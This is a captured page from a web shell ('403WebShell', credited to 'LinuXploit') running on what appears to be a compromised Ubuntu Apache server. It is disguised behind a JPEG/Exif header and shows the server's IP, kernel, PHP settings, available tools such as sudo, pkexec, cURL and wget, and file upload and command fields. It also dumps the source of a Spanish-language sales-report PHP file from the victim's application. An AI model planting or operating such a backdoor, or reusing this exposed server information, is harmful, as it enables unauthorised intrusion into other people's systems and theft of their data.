����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/goldencar/sae/appsae/core/app/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/goldencar/sae/appsae/core/app/action//sell2-action.php
<style>
	@media screen and (max-width: 1225px) and (min-width: 1045px) {
                .priority-5{
                        display:none;
                }
				.priority-6{
                        display:none;
                }
        }
		
		  @media screen and (max-width: 1045px) and (min-width: 835px) {
				.priority-6{
                        display:none;
                }
			   .priority-5{
                        display:none;
                }
                .priority-4{
                        display:none;
                }
        }
        
        @media screen and (max-width: 565px) and (min-width: 300px) {
                .priority-6{
                        display:none;
                }
				.priority-5{
                        display:none;
                }
                .priority-4{
                        display:none;
                }
                .priority-3{
                        display:none;
                }
				 .priority-2{
                        display:none;
                }
        }
        
        @media screen and (max-width: 300px) {
				 .priority-7{
                        display:none;
                }	
				.priority-6{
                        display:none;
                }
				.priority-5{
                        display:none;
                }
                .priority-4{
                        display:none;
                }
                .priority-3{
                        display:none;
                }
                .priority-2{
                        display:none;
                }
				.priority-1{
                        display:none;
                }
        
        }
</style>
		

<?php
$products = null;
 //buscamos los usuarios que venden de este almacen
	$stock_id = $_SESSION['stock_id'];
	$vendedors_to_stock = UserData::getByIdStock($stock_id);
$stock =  StockData::getByid($stock_id);

///print_r($vendedors_to_stock);

foreach($vendedors_to_stock as $seller){	
			$fecha = date('Y-m-d h:i:s');
					$fechaAtras = strtotime ( '-7 day' , strtotime ( $fecha ) ) ;
					$fechaAtras = date ( 'Y-m-d  ' , $fechaAtras );
					
			$fechaActual = date("Y-m-d h:i:s",time());	
				
		$products = SellData::getSellsStock($fechaAtras, $fechaActual, $seller->id_user );

		if(count($products)>0 && ( UserData::getByid($seller->id_user)->name != NULL)){

			?>
		<br>
		<div class = "table-responsive">
		<div class="box box-primary">
		<div class="box-header">
		<h2 class="box-title">Vendedor-<?php echo UserData::getByid($seller->id_user)->name;?></h1> </div>
		<div class="box-body table-responsive no-padding">
			<table id="table_transaction" class="table table-bordered table-hover table-responsive datatable">
			<thead>
				<th>Detalles</th>
				<th class="priority-2">Folio</th>
				<th class="priority-3">Id</th>		
				<th class="priority-4">Pago</th>
				<th class="priority-5">Entrega</th>
				<th>Total</th>
				<th class="priority-1">Vendedor</th>
				<th class="priority-6">Almacen</th>
				<th>Fecha</th>
				<th></th>
			</thead>
			<?php foreach($products as $sell):
			if( $sell->total >0){
			?>

			<tr>
				<td style="width:30px;" >
				<?php if( $sell->getP()->name == "Pendiente" ):?>	
					<a href="#" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
				<?php else:?>
				
					<?php if($sell->getP()->name == "Credito"):?>
						<a href="index.php?view=onesellN&id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
					<?php else:?>
						<a href="index.php?view=onesell1&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
					<?php endif;?>
					
				<?php endif;?>
				</td>
				
				<td class="priority-2"><?php echo $sell->sale_id; ?></td>
				<td class="priority-3"><?php echo $sell->id; ?></td>

				<td class="priority-4"><?php echo $sell->getP()->name; ?></td>
				<td class="priority-5"><?php echo $sell->getD()->name; ?></td>
				<td>
					<?php
					$total= $sell->total-$sell->discount;
							echo "<b>$ ".number_format($sell->total,2,".",",")."</b>";
					?>			
				</td>
			
			<td class="priority-1"> 
			<?php if($sell->user_id!=null){
				$c= $sell->getUser();
				echo $c->name." ".$c->lastname;} ?> 
				
			<?php 
			if($sell->id_seller>0){
				$c1= UserData::getById2($sell->id_seller);
				if(isset($c1->username)){
				echo $sell->id_seller."-".$c1->username;
				}else{
					echo "CAJERO ELIMINADO";
				}
			}
			?>	
			</td>
				
				<td class="priority-6"><?php echo StockData::getByid($seller->stock_id)->name; ?></td>
				
				<?php $fecha =  explode("-",$sell->created_at);
		  $fecha2 = explode(":",$fecha[2]);
		  $fecha3 = explode(" ",$fecha2[0]);
			?>
		<td><b><?php echo $fecha3[0]; echo "/"; echo $fecha[1]; echo "/"; echo $fecha[0]; ?></b></td>
				
				
				<td style="width:30px;">
					<?php if(Core::$user->kind==1):?>
						<a href="index.php?view=delsellSeguridad&id=<?php echo $sell->id; ?>" class="btn btn-xs btn-danger"><i class="fa fa-trash"></i></a>
					<?php endif;?>
				</td>
			</tr>
			
		<?php 
			}
			endforeach; ?>

		</table>
		</div>
		</div>
		
		<div class="clearfix"></div>

			<?php
		}else{
			?>
			<div class="jumbotron">
				<h2>No hay ventas</h2>
				<p>No se ha realizado ninguna venta. De <a><?php 
				if(isset($seller->id_user)){
				echo  UserData::getByid($seller->id_user)->name; 
				}
				?></a></p> 
			</div>
		<?php
		}
		?>

<?php }?>
	






Youez - 2016 - github.com/yon3zu
LinuXploit